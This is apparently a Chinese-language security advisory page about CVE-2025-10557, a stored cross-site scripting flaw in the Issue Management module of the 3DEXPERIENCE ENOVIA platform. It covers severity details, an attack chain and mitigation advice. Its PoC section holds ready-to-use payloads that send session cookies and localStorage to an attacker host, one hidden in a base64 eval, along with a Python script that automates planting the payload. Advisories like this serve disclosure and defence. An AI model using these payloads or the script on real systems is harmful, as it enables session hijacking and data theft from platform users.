IPBUF安全漏洞报告
English
CVE-2025-10557 CVSS 8.7 高危

CVE-2025-10557 ENOVIA Collaborative Industry Innovator存储型XSS漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-10557
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Dassault Systèmes 3DEXPERIENCE ENOVIA Collaborative Industry Innovator

相关标签

XSS存储型XSS跨站脚本CVE-2025-10557ENOVIA3DEXPERIENCEDassault SystèmesIssue Management高危漏洞Web安全

漏洞概述

CVE-2025-10557是存在于Dassault Systèmes 3DEXPERIENCE平台ENOVIA Collaborative Industry Innovator组件Issue Management(问题管理)功能中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由3DS Information Security团队发现并报告,于2025年10月13日正式披露。

该漏洞影响从3DEXPERIENCE R2022x到R2025x的所有发行版本。存储型XSS是最危险的XSS攻击类型之一,攻击者将恶意脚本代码持久化存储在目标服务器的数据库中,当其他用户访问包含恶意代码的页面时,恶意脚本将在受害者浏览器中自动执行。

根据CVSS 3.1评分标准,该漏洞评分为8.7分,属于高危级别。攻击者需要具备低权限账户(PR:L)即可发起攻击,且需要受害者进行某种形式的用户交互(UI:R),例如查看被污染的Issue页面。成功利用后,攻击者可在受害者的浏览器会话中执行任意脚本代码,导致高机密性影响(C:H)和高完整性影响(I:H),但对系统可用性无直接影响(A:N)。

ENOVIA Collaborative Industry Innovator是3DEXPERIENCE平台中用于协同产品生命周期管理的重要组件,被全球众多制造业企业广泛使用,因此该漏洞可能对使用该平台的企业造成严重的安全风险,包括但不限于会话劫持、敏感数据窃取、特权提升以及进一步的内网渗透。

技术细节

该漏洞位于ENOVIA Collaborative Industry Innovator的Issue Management(问题管理)模块中,属于典型的存储型跨站脚本漏洞。

**漏洞原理:**
Issue Management模块允许用户创建、编辑和查看各种Issue条目,包括Issue的标题、描述、评论等字段。漏洞的根本原因在于服务器端对这些用户输入字段未进行充分的输入验证和输出编码。攻击者可以在创建或编辑Issue时,将恶意的JavaScript代码(如`<script>`标签、事件处理器或HTML注入代码)嵌入到Issue的文本字段中。由于服务器未对这些输入进行HTML实体编码或过滤就直接存储到数据库中,恶意脚本被持久化保存。

**利用方式:**
1. 攻击者使用低权限账户登录3DEXPERIENCE平台;
2. 在Issue Management模块中创建新的Issue或编辑现有Issue;
3. 在Issue的标题、描述或评论字段中注入恶意JavaScript代码,例如:`<img src=x onerror=alert(document.cookie)>` 或 `<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`;
4. 提交Issue后,恶意代码被存储到服务器数据库中;
5. 当其他用户(包括管理员)查看该Issue时,服务器从数据库中读取数据并直接渲染到HTML页面中,未进行输出编码;
6. 恶意脚本在受害者浏览器中执行,可窃取会话Cookie、进行权限提升操作或执行其他恶意行为。

由于是存储型XSS,攻击无需每次手动触发,只需等待受害者访问被污染的页面即可实现攻击,具有极强的隐蔽性和持续性。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过社会工程学、钓鱼攻击或其他方式获取3DEXPERIENCE平台的低权限用户账户凭证。
STEP 2
步骤2:登录平台并访问Issue Management
攻击者使用获取的凭证登录3DEXPERIENCE平台,导航至ENOVIA Collaborative Industry Innovator的Issue Management模块。
STEP 3
步骤3:注入恶意脚本
攻击者在创建新Issue或回复现有Issue时,在标题、描述或评论字段中注入精心构造的恶意JavaScript代码(如事件处理器、script标签等)。
STEP 4
步骤4:恶意代码持久化存储
由于服务器未对用户输入进行充分的过滤和编码,恶意脚本代码被存储到服务器端的数据库中,形成持久化的攻击载荷。
STEP 5
步骤5:受害者访问触发执行
当其他用户(特别是具有更高权限的用户如管理员)查看包含恶意代码的Issue页面时,浏览器解析HTML并执行嵌入的恶意脚本。
STEP 6
步骤6:数据窃取与权限提升
恶意脚本在受害者浏览器中执行,可窃取会话Cookie、访问令牌等敏感信息,攻击者利用这些信息冒充受害者身份,可能实现权限提升和进一步的内网渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-10557 PoC for Stored XSS in ENOVIA Collaborative Industry Innovator Issue Management --> <!-- Step 1: Login to 3DEXPERIENCE platform with low-privilege account --> <!-- Step 2: Navigate to ENOVIA Collaborative Industry Innovator > Issue Management --> <!-- Step 3: Create a new Issue and inject the following malicious payload into the description field --> <!-- Payload 1: Basic cookie stealing --> <img src=x onerror="var i=new Image(); i.src='https://attacker-server.com/steal?cookie='+document.cookie;"> <!-- Payload 2: Session hijacking via fetch --> <script> fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, localStorage: JSON.stringify(localStorage) }), headers: {'Content-Type': 'application/json'} }); </script> <!-- Payload 3: SVG-based XSS (may bypass some filters) --> <svg onload="eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXItc2VydmVyLmNvbS9jb2xsZWN0P2M9JyArIGRvY3VtZW50LmNvb2tpZSk=')"> <!-- Step 4: Submit the Issue. The malicious script is now stored on the server. --> <!-- Step 5: When any other user (e.g., admin) views this Issue, the script executes in their browser. --> <!-- Python exploit script to automate the attack --> import requests TARGET_URL = "https://target-3dexperience-platform.com" SESSION_COOKIE = "attacker_session_cookie" ATTACKER_WEBHOOK = "https://attacker-server.com/collect" payload = '<img src=x onerror="var i=new Image(); i.src=\'{0}?cookie=\'+document.cookie;">'.format(ATTACKER_WEBHOOK) # Create issue with XSS payload headers = { "Cookie": "JSESSIONID=" + SESSION_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } data = { "title": "Normal Issue Title", "description": payload, "action": "create" } response = requests.post( TARGET_URL + "/enovia/issue/create", headers=headers, data=data ) if response.status_code == 200: print("[+] XSS payload stored successfully in Issue Management") print("[+] Waiting for victim to view the issue...")

影响范围

3DEXPERIENCE R2022x
3DEXPERIENCE R2023x
3DEXPERIENCE R2024x
3DEXPERIENCE R2025x

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制Issue Management模块的访问权限,仅允许可信用户创建和编辑Issue;2)在反向代理或WAF层面部署XSS防护规则,过滤常见的恶意脚本载荷;3)在HTTP响应头中添加Content-Security-Policy、X-XSS-Protection等安全头;4)为所有会话Cookie设置HttpOnly属性,降低Cookie被窃取的风险;5)加强对用户输入的监控和审计,及时发现可疑的恶意内容;6)教育用户不要点击来源不明的Issue链接,特别是包含异常内容的链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表